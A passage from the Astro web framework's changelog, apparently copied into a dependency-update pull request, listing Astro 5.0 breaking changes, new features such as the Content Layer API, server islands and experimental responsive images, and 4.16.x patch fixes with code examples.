`RouteData.distURL` is `undefined` or an array of `URL`. This was a bug, because a route can generate multiple files on disk, especially when using dynamic routes such as `[slug]` or `[...slug]`. ##### What should I do? Update your code to handle `RouteData.distURL` as an array. ```diff if (route.distURL) { - if (route.distURL.endsWith('index.html')) { - // do something - } + for (const url of route.distURL) { + if (url.endsWith('index.html')) { + // do something + } + } } ``` - [#&#8203;11253](https://github.com/withastro/astro/pull/11253) [`4e5cc5a`](https://github.com/withastro/astro/commit/4e5cc5aadd7d864bc5194ee67dc2ea74dbe80473) Thanks [@&#8203;kevinzunigacuellar](https://github.com/kevinzunigacuellar)! - Changes the data returned for `page.url.current`, `page.url.next`, `page.url.prev`, `page.url.first` and `page.url.last` to include the value set for `base` in your Astro config. Previously, you had to manually prepend your configured value for `base` to the URL path. Now, Astro automatically includes your `base` value in `next` and `prev` URLs. If you are using the `paginate()` function for "previous" and "next" URLs, remove any existing `base` value as it is now added for you: ```diff --- export async function getStaticPaths({ paginate }) { const astronautPages = [{ astronaut: 'Neil Armstrong', }, { astronaut: 'Buzz Aldrin', }, { astronaut: 'Sally Ride', }, { astronaut: 'John Glenn', }]; return paginate(astronautPages, { pageSize: 1 }); } const { page } = Astro.props; // `base: /'docs'` configured in `astro.config.mjs` - const prev = "/docs" + page.url.prev; + const prev = page.url.prev; --- <a id="prev" href={prev}>Back</a> ``` - [#&#8203;12079](https://github.com/withastro/astro/pull/12079) [`7febf1f`](https://github.com/withastro/astro/commit/7febf1f6b58f2ed014df617bd7162c854cadd230) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - `params` passed in `getStaticPaths` are no longer automatically decoded. ##### \[changed]: `params` aren't decoded anymore. In Astro v4.x, `params` in were automatically decoded using `decodeURIComponent`. Astro v5.0 doesn't automatically decode `params` in `getStaticPaths` anymore, so you'll need to manually decode them yourself if needed ##### What should I do? If you were relying on the automatic decode, you'll need to manually decode it using `decodeURI`. Note that the use of [`decodeURIComponent`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent)) is discouraged for `getStaticPaths` because it decodes more characters than it should, for example `/`, `?`, `#` and more. ```diff --- export function getStaticPaths() { return [ + { params: { id: decodeURI("%5Bpage%5D") } }, - { params: { id: "%5Bpage%5D" } }, ] } const { id } = Astro.params; --- ``` ##### Minor Changes - [#&#8203;11941](https://github.com/withastro/astro/pull/11941) [`b6a5f39`](https://github.com/withastro/astro/commit/b6a5f39846581d0e9cfd7ae6f056c8d1209f71bd) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adapters can now specify the build output type they're intended for using the `adapterFeatures.buildOutput` property. This property can be used to always generate a server output, even if the project doesn't have any server-rendered pages. ```ts { 'astro:config:done': ({ setAdapter, config }) => { setAdapter({ name: 'my-adapter', adapterFeatures: { buildOutput: 'server', }, }); }, } ``` If your adapter specifies `buildOutput: 'static'`, and the user's project contains server-rendered pages, Astro will warn in development and error at build time. Note that a hybrid output, containing both static and server-rendered pages, is considered to be a `server` output, as a server is required to serve the server-rendered pages. - [#&#8203;12067](https://github.com/withastro/astro/pull/12067) [`c48916c`](https://github.com/withastro/astro/commit/c48916cc4e6f7c31e3563d04b68a8698d8775b65) Thanks [@&#8203;stramel](https://github.com/stramel)! - Adds experimental support for built-in SVG components. This feature allows you to import SVG files directly into your Astro project as components. By default, Astro will inline the SVG content into your HTML output. To enable this feature, set `experimental.svg` to `true` in your Astro config: ```js { experimental: { svg: true, }, } ``` To use this feature, import an SVG file in your Astro project, passing any common SVG attributes to the imported component. Astro also provides a `size` attribute to set equal `height` and `width` properties: ```astro --- import Logo from './path/to/svg/file.svg'; --- <Logo size={24} /> ``` For a complete overview, and to give feedback on this experimental API, see the [Feature RFC](https://github.com/withastro/roadmap/pull/1035). - [#&#8203;12226](https://github.com/withastro/astro/pull/12226) [`51d13e2`](https://github.com/withastro/astro/commit/51d13e2f6ce3a9e03c33d80af6716847f6a78061) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - The following renderer fields and integration fields now accept `URL` as a type: **Renderers**: - `AstroRenderer.clientEntrypoint` - `AstroRenderer.serverEntrypoint` **Integrations**: - `InjectedRoute.entrypoint` - `AstroIntegrationMiddleware.entrypoint` - `DevToolbarAppEntry.entrypoint` - [#&#8203;12323](https://github.com/withastro/astro/pull/12323) [`c280655`](https://github.com/withastro/astro/commit/c280655655cc6c22121f32c5f7c76836adf17230) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Updates to Vite 6.0.0-beta.6 - [#&#8203;12539](https://github.com/withastro/astro/pull/12539) [`827093e`](https://github.com/withastro/astro/commit/827093e6175549771f9d93ddf3f2be4c2c60f0b7) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Drops node 21 support - [#&#8203;12243](https://github.com/withastro/astro/pull/12243) [`eb41d13`](https://github.com/withastro/astro/commit/eb41d13162c84e9495489403611bc875eb190fed) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves `defineConfig` type safety. TypeScript will now error if a group of related configuration options do not have consistent types. For example, you will now see an error if your language set for `i18n.defaultLocale` is not one of the supported locales specified in `i18n.locales`. - [#&#8203;12329](https://github.com/withastro/astro/pull/12329) [`8309c61`](https://github.com/withastro/astro/commit/8309c61f0dfa5991d3f6c5c5fca4403794d6fda2) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new `astro:routes:resolved` hook to the Integration API. Also update the `astro:build:done` hook by deprecating `routes` and adding a new `assets` map. When building an integration, you can now get access to routes inside the `astro:routes:resolved` hook: ```js const integration = () => { return { name: 'my-integration', hooks: { 'astro:routes:resolved': ({ routes }) => { console.log(routes); }, }, }; }; ``` This hook runs before `astro:config:done`, and whenever a route changes in development. The `routes` array from `astro:build:done` is now deprecated, and exposed properties are now available on `astro:routes:resolved`, except for `distURL`. For this, you can use the newly exposed `assets` map: ```diff const integration = () => { + let routes return { name: 'my-integration', hooks: { + 'astro:routes:resolved': (params) => { + routes = params.routes + }, 'astro:build:done': ({ - routes + assets }) => { + for (const route of routes) { + const distURL = assets.get(route.pattern) + if (distURL) { + Object.assign(route, { distURL }) + } + } console.log(routes) } } } } ``` - [#&#8203;11911](https://github.com/withastro/astro/pull/11911) [`c3dce83`](https://github.com/withastro/astro/commit/c3dce8363be22121a567df22df2ec566a3ebda17) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - The Content Layer API introduced behind a flag in [4.14.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#4140) is now stable and ready for use in Astro v5.0. The new Content Layer API builds upon content collections, taking them beyond local files in `src/content/` and allowing you to fetch content from anywhere, including remote APIs. These new collections work alongside your existing content collections, and you can migrate them to the new API at your own pace. There are significant improvements to performance with large collections of local files. For more details, see [the Content Layer RFC](https://github.com/withastro/roadmap/blob/content-layer/proposals/0050-content-layer.md). If you previously used this feature, you can now remove the `experimental.contentLayer` flag from your Astro config: ```diff // astro.config.mjs import { defineConfig } from 'astro' export default defineConfig({ - experimental: { - contentLayer: true - } }) ``` ##### Loading your content The core of the new Content Layer API is the loader, a function that fetches content from a source and caches it in a local data store. Astro 4.14 ships with built-in `glob()` and `file()` loaders to handle your local Markdown, MDX, Markdoc, and JSON files: ```ts {3,7} // src/content/config.ts import { defineCollection, z } from 'astro:content'; import { glob } from 'astro/loaders'; const blog = defineCollection({ // The ID is a slug generated from the path of the file relative to `base` loader: glob({ pattern: '**/*.md', base: './src/data/blog' }), schema: z.object({ title: z.string(), description: z.string(), publishDate: z.coerce.date(), }), }); export const collections = { blog }; ``` You can then query using the existing content collections functions, and use a simplified `render()` function to display your content: ```astro --- import { getEntry, render } from 'astro:content'; const post = await getEntry('blog', Astro.params.slug); const { Content } = await render(entry); --- <Content /> ``` ##### Creating a loader You're not restricted to the built-in loaders – we hope you'll try building your own. You can fetch content from anywhere and return an array of entries: ```ts // src/content/config.ts const countries = defineCollection({ loader: async () => { const response = await fetch('https://restcountries.com/v3.1/all'); const data = await response.json(); // Must return an array of entries with an id property, // or an object with IDs as keys and entries as values return data.map((country) => ({ id: country.cca3, ...country, })); }, // optionally add a schema to validate the data and make it type-safe for users // schema: z.object... }); export const collections = { countries }; ``` For more advanced loading logic, you can define an object loader. This allows incremental updates and conditional loading, and gives full access to the data store. It also allows a loader to define its own schema, including generating it dynamically based on the source API. See the [the Content Layer API RFC](https://github.com/withastro/roadmap/blob/content-layer/proposals/0050-content-layer.md#loaders) for more details. ##### Sharing your loaders Loaders are better when they're shared. You can create a package that exports a loader and publish it to npm, and then anyone can use it on their site. We're excited to see what the community comes up with! To get started, [take a look at some examples](https://github.com/ascorbic/astro-loaders/). Here's how to load content using an RSS/Atom feed loader: ```ts // src/content/config.ts import { defineCollection } from 'astro:content'; import { feedLoader } from '@&#8203;ascorbic/feed-loader'; const podcasts = defineCollection({ loader: feedLoader({ url: 'https://feeds.99percentinvisible.org/99percentinvisible', }), }); export const collections = { podcasts }; ``` To learn more, see [the Content Layer RFC](https://github.com/withastro/roadmap/blob/content-layer/proposals/0050-content-layer.md). - [#&#8203;11980](https://github.com/withastro/astro/pull/11980) [`a604a0c`](https://github.com/withastro/astro/commit/a604a0ca9e0cdead01610b603d3b4c37ab010efc) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - ViewTransitions component renamed to ClientRouter The `<ViewTransitions />` component has been renamed to `<ClientRouter />`. There are no other changes than the name. The old name will continue to work in Astro 5.x, but will be removed in 6.0. This change was done to clarify the role of the component within Astro's View Transitions support. Astro supports View Transitions APIs in a few different ways, and renaming the component makes it more clear that the features you get from the ClientRouter component are slightly different from what you get using the native CSS-based MPA router. We still intend to maintain the ClientRouter as before, and it's still important for use-cases that the native support doesn't cover, such as persisting state between pages. - [#&#8203;11875](https://github.com/withastro/astro/pull/11875) [`a8a3d2c`](https://github.com/withastro/astro/commit/a8a3d2cde813d891dd9c63f07f91ce4e77d4f93b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new property `isPrerendered` to the globals `Astro` and `APIContext` . This boolean value represents whether or not the current page is prerendered: ```astro --- // src/pages/index.astro export const prerender = true; --- ``` ```js // src/middleware.js export const onRequest = (ctx, next) => { console.log(ctx.isPrerendered); // it will log true return next(); }; ``` - [#&#8203;12047](https://github.com/withastro/astro/pull/12047) [`21b5e80`](https://github.com/withastro/astro/commit/21b5e806c5df37c6b01da63487568a6ed351ba7d) Thanks [@&#8203;rgodha24](https://github.com/rgodha24)! - Adds a new optional `parser` property to the built-in `file()` loader for content collections to support additional file types such as `toml` and `csv`. The `file()` loader now accepts a second argument that defines a `parser` function. This allows you to specify a custom parser (e.g. `toml.parse` or `csv-parse`) to create a collection from a file's contents. The `file()` loader will automatically detect and parse JSON and YAML files (based on their file extension) with no need for a `parser`. This works with any type of custom file formats including `csv` and `toml`. The following example defines a content collection `dogs` using a `.toml` file. ```toml [[dogs]] id = "..." age = "..." [[dogs]] id = "..." age = "..." ``` After importing TOML's parser, you can load the `dogs` collection into your project by passing both a file path and `parser` to the `file()` loader. ```typescript import { defineCollection } from "astro:content" import { file } from "astro/loaders" import { parse as parseToml } from "toml" const dogs = defineCollection({ loader: file("src/data/dogs.toml", { parser: (text) => parseToml(text).dogs }), schema: /* ... */ }) // it also works with CSVs! import { parse as parseCsv } from "csv-parse/sync"; const cats = defineCollection({ loader: file("src/data/cats.csv", { parser: (text) => parseCsv(text, { columns: true, skipEmptyLines: true })}) }); ``` The `parser` argument also allows you to load a single collection from a nested JSON document. For example, this JSON file contains multiple collections: ```json { "dogs": [{}], "cats": [{}] } ``` You can separate these collections by passing a custom `parser` to the `file()` loader like so: ```typescript const dogs = defineCollection({ loader: file('src/data/pets.json', { parser: (text) => JSON.parse(text).dogs }), }); const cats = defineCollection({ loader: file('src/data/pets.json', { parser: (text) => JSON.parse(text).cats }), }); ``` And it continues to work with maps of `id` to `data` ```yaml bubbles: breed: 'Goldfish' age: 2 finn: breed: 'Betta' age: 1 ``` ```typescript const fish = defineCollection({ loader: file('src/data/fish.yaml'), schema: z.object({ breed: z.string(), age: z.number() }), }); ``` - [#&#8203;11698](https://github.com/withastro/astro/pull/11698) [`05139ef`](https://github.com/withastro/astro/commit/05139ef8b46de96539cc1d08148489eaf3cfd837) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new property to the globals `Astro` and `APIContext` called `routePattern`. The `routePattern` represents the current route (component) that is being rendered by Astro. It's usually a path pattern will look like this: `blog/[slug]`: ```astro --- // src/pages/blog/[slug].astro const route = Astro.routePattern; console.log(route); // it will log "blog/[slug]" --- ``` ```js // src/pages/index.js export const GET = (ctx) => { console.log(ctx.routePattern); // it will log src/pages/index.js return new Response.json({ lorem: 'ipsum' }); }; ``` - [#&#8203;11941](https://github.com/withastro/astro/pull/11941) [`b6a5f39`](https://github.com/withastro/astro/commit/b6a5f39846581d0e9cfd7ae6f056c8d1209f71bd) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds a new `buildOutput` property to the `astro:config:done` hook returning the build output type. This can be used to know if the user's project will be built as a static site (HTML files), or a server-rendered site (whose exact output depends on the adapter). - [#&#8203;12377](https://github.com/withastro/astro/pull/12377) [`af867f3`](https://github.com/withastro/astro/commit/af867f3910ecd8fc04a5337f591d84f03192e3fa) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds experimental support for automatic responsive images This feature is experimental and may change in future versions. To enable it, set `experimental.responsiveImages` to `true` in your `astro.config.mjs` file. ```js title=astro.config.mjs { experimental: { responsiveImages: true, }, } ``` When this flag is enabled, you can pass a `layout` prop to any `<Image />` or `<Picture />` component to create a responsive image. When a layout is set, images have automatically generated `srcset` and `sizes` attributes based on the image's dimensions and the layout type. Images with `responsive` and `full-width` layouts will have styles applied to ensure they resize according to their container. ```astro --- import { Image, Picture } from 'astro:assets'; import myImage from '../assets/my_image.png'; --- <Image src={myImage} alt="A description of my image." layout="responsive" width={800} height={600} /> <Picture src={myImage} alt="A description of my image." layout="full-width" formats={['avif', 'webp', 'jpeg']} /> ``` This `<Image />` component will generate the following HTML output: ```html title=Output <img src="/_astro/my_image.hash3.webp" srcset=" /_astro/my_image.hash1.webp 640w, /_astro/my_image.hash2.webp 750w, /_astro/my_image.hash3.webp 800w, /_astro/my_image.hash4.webp 828w, /_astro/my_image.hash5.webp 1080w, /_astro/my_image.hash6.webp 1280w, /_astro/my_image.hash7.webp 1600w " alt="A description of my image" sizes="(min-width: 800px) 800px, 100vw" loading="lazy" decoding="async" fetchpriority="auto" width="800" height="600" style="--w: 800; --h: 600; --fit: cover; --pos: center;" data-astro-image="responsive" /> ``` ##### Responsive image properties These are additional properties available to the `<Image />` and `<Picture />` components when responsive images are enabled: - `layout`: The layout type for the image. Can be `responsive`, `fixed`, `full-width` or `none`. Defaults to value of `image.experimentalLayout`. - `fit`: Defines how the image should be cropped if the aspect ratio is changed. Values match those of CSS `object-fit`. Defaults to `cover`, or the value of `image.experimentalObjectFit` if set. - `position`: Defines the position of the image crop if the aspect ratio is changed. Values match those of CSS `object-position`. Defaults to `center`, or the value of `image.experimentalObjectPosition` if set. - `priority`: If set, eagerly loads the image. Otherwise, images will be lazy-loaded. Use this for your largest above-the-fold image. Defaults to `false`. ##### Default responsive image settings You can enable responsive images for all `<Image />` and `<Picture />` components by setting `image.experimentalLayout` with a default value. This can be overridden by the `layout` prop on each component. **Example:** ```js title=astro.config.mjs { image: { // Used for all `<Image />` and `<Picture />` components unless overridden experimentalLayout: 'responsive', }, experimental: { responsiveImages: true, }, } ``` ```astro --- import { Image } from 'astro:assets'; import myImage from '../assets/my_image.png'; --- <Image src={myImage} alt="This will use responsive layout" width={800} height={600} /> <Image src={myImage} alt="This will use full-width layout" layout="full-width" /> <Image src={myImage} alt="This will disable responsive images" layout="none" /> ``` For a complete overview, and to give feedback on this experimental API, see the [Responsive Images RFC](https://github.com/withastro/roadmap/blob/responsive-images/proposals/0053-responsive-images.md). - [#&#8203;12150](https://github.com/withastro/astro/pull/12150) [`93351bc`](https://github.com/withastro/astro/commit/93351bc78aed8f4ecff003268bad21c3b93c2f56) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Adds support for passing values other than `"production"` or `"development"` to the `--mode` flag (e.g. `"staging"`, `"testing"`, or any custom value) to change the value of `import.meta.env.MODE` or the loaded `.env` file. This allows you take advantage of Vite's [mode](https://vite.dev/guide/env-and-mode#modes) feature. Also adds a new `--devOutput` flag for `astro build` that will output a development-based build. Note that changing the `mode` does not change the kind of code transform handled by Vite and Astro: - In `astro dev`, Astro will transform code with debug information. - In `astro build`, Astro will transform code with the most optimized output and removes debug information. - In `astro build --devOutput` (new flag), Astro will transform code with debug information like in `astro dev`. This enables various use cases like: ```bash # Run the dev server connected to a "staging" API astro dev --mode staging # Build a site that connects to a "staging" API astro build --mode staging # Build a site that connects to a "production" API with additional debug information astro build --devOutput # Build a site that connects to a "testing" API astro build --mode testing ``` The different modes can be used to load different `.env` files, e.g. `.env.staging` or `.env.production`, which can be customized for each environment, for example with different `API_URL` environment variable values. - [#&#8203;12510](https://github.com/withastro/astro/pull/12510) [`14feaf3`](https://github.com/withastro/astro/commit/14feaf30e1a4266b8422865722a4478d39202404) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Changes the generated URL query param from `_astroAction` to `_action` when submitting a form using Actions. This avoids leaking the framework name into the URL bar, which may be considered a security issue. - [#&#8203;11806](https://github.com/withastro/astro/pull/11806) [`f7f2338`](https://github.com/withastro/astro/commit/f7f2338c2b96975001b5c782f458710e9cc46d74) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - The value of the different properties on `supportedAstroFeatures` for adapters can now be objects, with a `support` and `message` properties. The content of the `message` property will be shown in the Astro CLI when the adapter is not compatible with the feature, allowing one to give a better informational message to the user. This is notably useful with the new `limited` value, to explain to the user why support is limited. - [#&#8203;12071](https://github.com/withastro/astro/pull/12071) [`61d248e`](https://github.com/withastro/astro/commit/61d248e581a3bebf0ec67169813fc8ae4a2182df) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - `astro add` no longer automatically sets `output: 'server'`. Since the default value of output now allows for server-rendered pages, it no longer makes sense to default to full server builds when you add an adapter - [#&#8203;11955](https://github.com/withastro/astro/pull/11955) [`d813262`](https://github.com/withastro/astro/commit/d8132626b05f150341c0628d6078fdd86b89aaed) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - [Server Islands](https://astro.build/blog/future-of-astro-server-islands/) introduced behind an experimental flag in [v4.12.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#4120) is no longer experimental and is available for general use. Server islands are Astro's solution for highly cacheable pages of mixed static and dynamic content. They allow you to specify components that should run on the server, allowing the rest of the page to be more aggressively cached, or even generated statically. Turn any `.astro` component into a server island by adding the `server:defer` directive and optionally, fallback placeholder content. It will be rendered dynamically at runtime outside the context of the rest of the page, allowing you to add longer cache headers for the pages, or even prerender them. ```astro --- import Avatar from '../components/Avatar.astro'; import GenericUser from '../components/GenericUser.astro'; --- <header> <h1>Page Title</h1> <div class="header-right"> <Avatar server:defer> <GenericUser slot="fallback" /> </Avatar> </div> </header> ``` If you were previously using this feature, please remove the experimental flag from your Astro config: ```diff import { defineConfig } from 'astro/config'; export default defineConfig({ experimental { - serverIslands: true, }, }); ``` If you have been waiting for stabilization before using server islands, you can now do so. Please see the [server island documentation](https://docs.astro.build/en/guides/server-islands/) for more about this feature. - [#&#8203;12373](https://github.com/withastro/astro/pull/12373) [`d10f918`](https://github.com/withastro/astro/commit/d10f91815e63f169cff3d1daef5505aef077c76c) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Changes the default behavior for Astro Action form requests to a standard POST submission. In Astro 4.x, actions called from an HTML form would trigger a redirect with the result forwarded using cookies. This caused issues for large form errors and return values that exceeded the 4 KB limit of cookie-based storage. Astro 5.0 now renders the result of an action as a POST result without any forwarding. This will introduce a "confirm form resubmission?" dialog when a user attempts to refresh the page, though it no longer imposes a 4 KB limit on action return value. ### [`v4.16.19`](https://github.com/withastro/astro/releases/tag/astro%404.16.19) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.18...astro@4.16.19) ##### Patch Changes - [#&#8203;14241](https://github.com/withastro/astro/pull/14241) [`760acc8`](https://github.com/withastro/astro/commit/760acc86f535a48a6f5195cdc53dfc72b0dc6053) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where remote paths weren't correctly computed when generating assets ### [`v4.16.18`](https://github.com/withastro/astro/releases/tag/astro%404.16.18) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.17...astro@4.16.18) ##### Patch Changes - [#&#8203;12757](https://github.com/withastro/astro/pull/12757) [`d0aaac3`](https://github.com/withastro/astro/commit/d0aaac3e1443a84e673568ea2f649d70d74582b6) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Remove all assets created from the server build - [#&#8203;12757](https://github.com/withastro/astro/pull/12757) [`d0aaac3`](https://github.com/withastro/astro/commit/d0aaac3e1443a84e673568ea2f649d70d74582b6) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Clean server sourcemaps from static output ### [`v4.16.17`](https://github.com/withastro/astro/releases/tag/astro%404.16.17) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.16...astro@4.16.17) ##### Patch Changes - [#&#8203;12632](https://github.com/withastro/astro/pull/12632) [`e7d14c3`](https://github.com/withastro/astro/commit/e7d14c374b9d45e27089994a4eb72186d05514de) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the `checkOrigin` feature wasn't correctly checking the `content-type` header ### [`v4.16.16`](https://github.com/withastro/astro/releases/tag/astro%404.16.16) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.15...astro@4.16.16) ##### Patch Changes - [#&#8203;12542](https://github.com/withastro/astro/pull/12542) [`65e50eb`](https://github.com/withastro/astro/commit/65e50eb7b6d7b10a193bba7d292804ac0e55be18) Thanks [@&#8203;kadykov](https://github.com/kadykov)! - Fix JPEG image size determination - [#&#8203;12525](https://github.com/withastro/astro/pull/12525) [`cf0d8b0`](https://github.com/withastro/astro/commit/cf0d8b08a0f16bba7310d1a92c82b5a276682e8c) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where with `i18n` enabled, Astro couldn't render the `404.astro` component for non-existent routes. ### [`v4.16.15`](https://github.com/withastro/astro/releases/tag/astro%404.16.15) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.14...astro@4.16.15) ##### Patch Changes - [#&#8203;12498](https://github.com/withastro/astro/pull/12498) [`b140a3f`](https://github.com/withastro/astro/commit/b140a3f6d821127f927b7cb938294549e41c5168) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression where Astro was trying to access `Request.headers` ### [`v4.16.14`](https://github.com/withastro/astro/releases/tag/astro%404.16.14) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.13...astro@4.16.14) ##### Patch Changes - [#&#8203;12480](https://github.com/withastro/astro/pull/12480) [`c3b7e7c`](https://github.com/withastro/astro/commit/c3b7e7cfa13603c08eb923703f31a92d514e82db) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Removes the default throw behavior in `astro:env` - [#&#8203;12444](https://github.com/withastro/astro/pull/12444) [`28dd3ce`](https://github.com/withastro/astro/commit/28dd3ce5222a667fe113238254edf59318b3fa14) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where a server island hydration script might fail case the island ID misses from the DOM. - [#&#8203;12476](https://github.com/withastro/astro/pull/12476) [`80a9a52`](https://github.com/withastro/astro/commit/80a9a5299a9d51f2b09900d3200976d687feae8f) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where the Content Layer `glob()` loader would not update when renaming or deleting an entry - [#&#8203;12418](https://github.com/withastro/astro/pull/12418) [`25baa4e`](https://github.com/withastro/astro/commit/25baa4ed0c5f55fa85c2c7e2c15848937ed1dc9b) Thanks [@&#8203;oliverlynch](https://github.com/oliverlynch)! - Fix cached image redownloading if it is the first asset - [#&#8203;12477](https://github.com/withastro/astro/pull/12477) [`46f6b38`](https://github.com/withastro/astro/commit/46f6b386b3db6332f286d79958ef10261958cceb) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the SSR build was emitting the `dist/server/entry.mjs` file with an incorrect import at the top of the file/ - [#&#8203;12365](https://github.com/withastro/astro/pull/12365) [`a23985b`](https://github.com/withastro/astro/commit/a23985b02165c2ddce56d511b3f97b6815c452c9) Thanks [@&#8203;apatel369](https://github.com/apatel369)! - Fixes an issue where `Astro.currentLocale` was not correctly returning the locale for 404 and 500 pages. ### [`v4.16.13`](https://github.com/withastro/astro/releases/tag/astro%404.16.13) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.12...astro@4.16.13) ##### Patch Changes - [#&#8203;12436](https://github.com/withastro/astro/pull/12436) [`453ec6b`](https://github.com/withastro/astro/commit/453ec6b12f8c021e0bd0fd0ea9f71c8fc280f4b1) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes a potential null access in the clientside router - [#&#8203;12392](https://github.com/withastro/astro/pull/12392) [`0462219`](https://github.com/withastro/astro/commit/0462219612183b65867aaaef9fa538d89f201999) Thanks [@&#8203;apatel369](https://github.com/apatel369)! - Fixes an issue where scripts were not correctly injected during the build. The issue was triggered when there were injected routes with the same `entrypoint` and different `pattern` ### [`v4.16.12`](https://github.com/withastro/astro/releases/tag/astro%404.16.12) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.11...astro@4.16.12) ##### Patch Changes - [#&#8203;12420](https://github.com/withastro/astro/pull/12420) [`acac0af`](https://github.com/withastro/astro/commit/acac0af53466f8a381ccdac29ed2ad735d7b4e79) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the dev server returns a 404 status code when a user middleware returns a valid `Response`. ### [`v4.16.11`](https://github.com/withastro/astro/releases/tag/astro%404.16.11) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.10...astro@4.16.11) ##### Patch Changes - [#&#8203;12305](https://github.com/withastro/astro/pull/12305) [`f5f7109`](https://github.com/withastro/astro/commit/f5f71094ec74961b4cca2ee451798abd830c617a) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where the error overlay would not escape the message - [#&#8203;12402](https://github.com/withastro/astro/pull/12402) [`823e73b`](https://github.com/withastro/astro/commit/823e73b164eab4115af31b1de8e978f2b4e0a95d) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a case where Astro allowed to call an action without using `Astro.callAction`. This is now invalid, and Astro will show a proper error. ```diff --- import { actions } from "astro:actions"; -const result = actions.getUser({ userId: 123 }); +const result = Astro.callAction(actions.getUser, { userId: 123 }); --- ``` - [#&#8203;12401](https://github.com/withastro/astro/pull/12401) [`9cca108`](https://github.com/withastro/astro/commit/9cca10843912698e13d35f1bc3c493e2c96a06ee) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes unexpected 200 status in dev server logs for action errors and redirects. ### [`v4.16.10`](https://github.com/withastro/astro/releases/tag/astro%404.16.10) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.9...astro@4.16.10) ##### Patch Changes - [#&#8203;12311](https://github.com/withastro/astro/pull/12311) [`bf2723e`](https://github.com/withastro/astro/commit/bf2723e83140099914b29c6d51eb147a065be460) Thanks [@&#8203;dinesh-58](https://github.com/dinesh-58)! - Adds `checked` to the list of boolean attributes. - [#&#8203;12363](https://github.com/withastro/astro/pull/12363) [`222f718`](https://github.com/withastro/astro/commit/222f71894cc7118319ce83b3b29fa61a9dbebb75) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes code generated by `astro add` command when adding a version of an integration other than the default `latest`. - [#&#8203;12368](https://github.com/withastro/astro/pull/12368) [`493fe43`](https://github.com/withastro/astro/commit/493fe43cd3ef94b087b8958031ecc964ae73463b) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Improves error logs when executing commands - [#&#8203;12355](https://github.com/withastro/astro/pull/12355) [`c4726d7`](https://github.com/withastro/astro/commit/c4726d7ba8cc93157390ce64d5c8b718ed5cac29) Thanks [@&#8203;apatel369](https://github.com/apatel369)! - Improves error reporting for invalid frontmatter in MDX files during the `astro build` command. The error message now includes the file path where the frontmatter parsing failed. ### [`v4.16.9`](https://github.com/withastro/astro/releases/tag/astro%404.16.9) [Compare Source](https://github.com/withastro/astro/compare/astro@4.16.8...astro@4.16.9) ##### Patch Changes - [#&#8203;12333](https://github.com/withastro/astro/pull/12333) [`836cd91`](https://github.com/withastro/astro/commit/836cd91c37cea8ae58dd04a326435fcb2c88f358) Thanks [@&#8203;imattacus](https://github.com/imattacus)! - Destroy the server response stream if async error is thrown - [#&#8203;12358](https://github.com/withastro/astro/pull/12358) [`7680349`](https://github.com/withastro/astro/commit/76803498738f9e86e7948ce81e01e63607e03549) Thanks [@&#8203;spacedawwwg](https://github.com/spacedawwwg)! - Honors `inlineAstroConfig` parameter in `getViteConfig` when creating a logger - [#&#8203;12353](https://github.com/withastro/astro/pull/12353) [`35795a1`](https://github.com/withastro/astro/commit/35795a1a54b2bfaf331c58ca91b47e5672e08c4e) Thanks [@&#8203;hippotastic](https://github.com/hippotastic)! - Fixes an issue in dev server watch file handling that could cause multiple restarts for a single file change. - [#&#8203;12351](https://github.com/withastro/astro/pull/12351) [`5751488`](https://github.com/withastro/astro/commit/57514881655b62a0bc39ace1e1ed4b89b96f74ca) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Reverts a change made in `4.16.6` that prevented usage of `astro:env` secrets inside middleware in SSR - 